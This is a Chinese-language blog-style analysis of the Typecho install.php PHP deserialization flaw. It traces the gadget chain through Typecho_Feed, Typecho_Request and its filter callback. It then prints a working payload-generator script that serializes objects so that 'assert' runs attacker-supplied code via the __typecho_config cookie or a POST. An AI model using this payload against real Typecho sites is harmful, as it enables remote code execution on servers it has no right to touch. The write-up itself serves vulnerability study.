Typecho

Typecho是一款快速建博客的程序,外观简洁,应用广泛。这次的漏洞通过install.php安装程序页面的反序列化函数,造成了命令执行,Typecho 1.1(15.5.12)之前的版本都有受到不同的影响。

从install.php开始,在229行开始存在unserialize反序列化的地方。

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

想要执行到这个反序列化的操作我们必须要满足以下条件:

1、$_GET['finish'] 参数不为空

2、Referer 必须是本站

分别如下: 其实注释内容已经跟我们说了,具体就不用在分析了。

// 挡掉可能的跨站请求
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
} $parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port']) && $parts['port'] != 80) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
} if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}

条件二:<?php if (isset($_GET['finish'])) : ?> 在这里要能够接收到finish参数,这样才能进入到我们序列化的地方。

在最上端的代码当中__typecho_config是我们可控的,他是cookie的键名,230行将cookie中这个键名的值通过base64解码之后反序列化。

继续两段:

$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);

因为整个$config的变量我们都能够控制,所以adapter,prefix这两个变量我们也能够控制。

跟进Typecho_Db()方法:(他在Db.php下)

 public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName; /** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName; if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
} $this->_prefix = $prefix; /** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array(); //实例化适配器对象
$this->_adapter = new $adapterName();
}

$adapterName='Typecho_Db_Adapter'.$adapterName

$config['adapter']作为第一个参数传入到Typecho_Db()中并且做了字符串拼接,可能上我们是能够调用__toString这个魔术方法的,就是当我们把$adapterName设置为有__tostring魔术方法的类的时候,那么这个tostring方法就被触发了。

ps:__toString():用于一个类被当成字符串时应怎样回应。。

接着查看哪些类使用了__toString()方法:

Config.php

Feed.php

Db/Query.php

我们想要能够产生输出传递给我们,Feed.php存在,可利用的点:

$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;

__get()这个方法在读取不可访问的数据时触发,如果$item['author']有不能访问的属性,那么就会被触发,因为实际执行中这里会获取该类的screenName属性,如果我们给$item['author']设置的类中只要设置为那个类中没有的属性,随便吧编一个就会执行该类的__get()方法 ,目前到此处,我们是在__tostring这个板块下的,而此时我们是在Feed.php下的Typecho_Feed类当中。

我们找到了get魔术方法,他是在request.php当中的,Typecho_Request

public function __get($key)
{
return $this->get($key);
}

继续跟进,因为他是调用了get这个函数在这个魔术方法当中:

public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
} $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}

再次跟进:

private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
} $this->_filter = array();
} return $value;
}

可以看见array_map()和call_user_func()两个回调函数,这说明了_params[$key]的值传入_applyFilter()方法,代码此时是可执行的,能偶产生输出了。

生成脚本,这是网上找的:

<?php
class Typecho_Feed
{
const RSS1 = 'RSS 1.0';
const RSS2 = 'RSS 2.0';
const ATOM1 = 'ATOM 1.0';
const DATE_RFC822 = 'r';
const DATE_W3CDTF = 'c';
const EOL = "\n";
private $_type;
private $_items; public function __construct(){
$this->_type = $this::RSS2;
$this->_items[0] = array(
'title' => '1',
'link' => '1',
'date' => 1508895132,
'category' => array(new Typecho_Request()),
'author' => new Typecho_Request(),
);
}
} class Typecho_Request
{
private $_params = array();
private $_filter = array(); public function __construct(){
$this->_params['screenName'] = 'phpinfo()';
$this->_filter[0] = 'assert';
}
} $exp = array(
'adapter' => new Typecho_Feed(),
'prefix' => 'typecho_'
); echo base64_encode(serialize($exp));

因为Typecho_Cookie的get方法获取__typecho_config可以是cookie方式,也可以使post方式,所以我们的payload直接为post发送也可以。

参考链接:https://www.freebuf.com/vuls/152058.html

魔术方法不一定有用,但没有魔术方法一定没用,我们唯一的突破点就在于魔术方法,看看程序员是怎么编写这段魔术代码的,然后找寻突破点,删除install是个好习惯哦。

哦。

Typecho反序列化漏洞的更多相关文章

  1. Typecho 反序列化漏洞 分析及复现

    0x00 漏洞简介 CVE-2018-18753 漏洞概述: typecho 是一款非常简洁快速博客 CMS,前台 install.php 文件存在反序列化漏洞,通过构造的反序列化字符串注入可以执行任 ...

  2. Typecho反序列化导致前台 getshell 漏洞复现

    Typecho反序列化导致前台 getshell 漏洞复现 漏洞描述: Typecho是一款快速建博客的程序,外观简洁,应用广泛.这次的漏洞通过install.php安装程序页面的反序列化函数,造成了 ...

  3. PHP审计之PHP反序列化漏洞

    PHP审计之PHP反序列化漏洞 前言 一直不懂,PHP反序列化感觉上比Java的反序列化难上不少.但归根结底还是serialize和unserialize中的一些问题. 在此不做多的介绍. 魔术方法 ...

  4. 反序列化漏洞问题研究之php篇

    php的反序列化反序列化漏洞又称php对象注入(php Object Injection)产生的问题主要分以下两类: 将传来的序列化数据直接unserilize,造成魔幻函数的执行.这种情况在一般的应 ...

  5. Weblogic反序列化漏洞补丁更新解决方案

    Weblogic反序列化漏洞的解决方案基于网上给的方案有两种: 第一种方案如下 使用SerialKiller替换进行序列化操作的ObjectInputStream类; 在不影响业务的情况下,临时删除掉 ...

  6. Java反序列化漏洞执行命令回显实现及Exploit下载

    原文地址:http://www.freebuf.com/tools/88908.html 本文原创作者:rebeyond 文中提及的部分技术.工具可能带有一定攻击性,仅供安全学习和教学用途,禁止非法使 ...

  7. Java反序列化漏洞通用利用分析

    原文:http://blog.chaitin.com/2015-11-11_java_unserialize_rce/ 博主也是JAVA的,也研究安全,所以认为这个漏洞非常严重.长亭科技分析的非常细致 ...

  8. Java反序列化漏洞分析

    相关学习资料 http://www.freebuf.com/vuls/90840.html https://security.tencent.com/index.php/blog/msg/97 htt ...

  9. 小白审计JACKSON反序列化漏洞

    1. JACKSON漏洞解析 poc代码:main.java import com.fasterxml.jackson.databind.ObjectMapper; import com.sun.or ...

随机推荐

  1. 力扣Leetcode 572. 另一个树的子树

    另一个树的子树 给定两个非空二叉树 s 和 t,检验 s 中是否包含和 t 具有相同结构和节点值的子树.s 的一个子树包括 s 的一个节点和这个节点的所有子孙.s 也可以看做它自身的一棵子树. 示例 ...

  2. JDK源码分析-ArrayList

    ArrayList 储存结构 private static final Object[] DEFAULTCAPACITY_EMPTY_ELEMENTDATA = {}; transient Objec ...

  3. aop思想以及环境搭建(记录自己的一小步)1.1

    ##什么是aop思想? 首先老办法我们一起先看看官网是咋描述的? 它利用一种称为"横切"的技术,剖解开封装的对象内部,并将那些影响了多个类的公共行为封装到一个可重用模块,并将其名为 ...

  4. Laravel 避免 Trying to get property of non-object 错误的六种方法 [新增第六种 data_get]

    在使用链式操作的时候,例如: return $user->avatar->url;如果 $user->avatar 为 null,就会引起 (E_ERROR) Trying to g ...

  5. css学习入门-第一个css程序

    1.css的优势: --内容与表现分离 --网页结构统一,可以实现复用 --样式丰富 2.css的3种导入方式 2.1行内样式 <h1 style="color: red"& ...

  6. vue学习笔记一

    vue 颠覆式的开发方式 解疑 为什么要学习vue? 降低项目的复杂度 就业需要 vue难不难? 特别简单 相比于React,vue有什么优势? 前端三大框架:Angular.React.Vue Vu ...

  7. P1004 方格取数(四维动态规划)

    题目描述 设有N \times NN×N的方格图(N \le 9)(N≤9),我们将其中的某些方格中填入正整数,而其他的方格中则放入数字00.如下图所示(见样例): A 0 0 0 0 0 0 0 0 ...

  8. 飞跃原野(三维bfs)

    Problem Description 勇敢的法里奥出色的完成了任务之后,正在迅速地向自己的基地撤退.但由于后面有着一大群追兵,所以法里奥要尽快地返回基地,否则就会被敌人逮住. 终于,法里奥来到了最后 ...

  9. [Java数据结构]LinkedHashMap,TreeMap

    HashMap不能记住插入时的顺序,但LinkedHashMap可以做到这一点. 例程: Map<Integer,String> empMap=new LinkedHashMap<I ...

  10. RocketMQ生产部署架构如何设计

    前言 看了我们之前的文章,相信小伙伴们对RocketMQ已经有了一个初步的了解,那么今天我们就来聊一聊具体如何来设计一套高可用的生产部署架构. 在聊如何设计这套架构的同时,我们再补充一些之前没提到的知 ...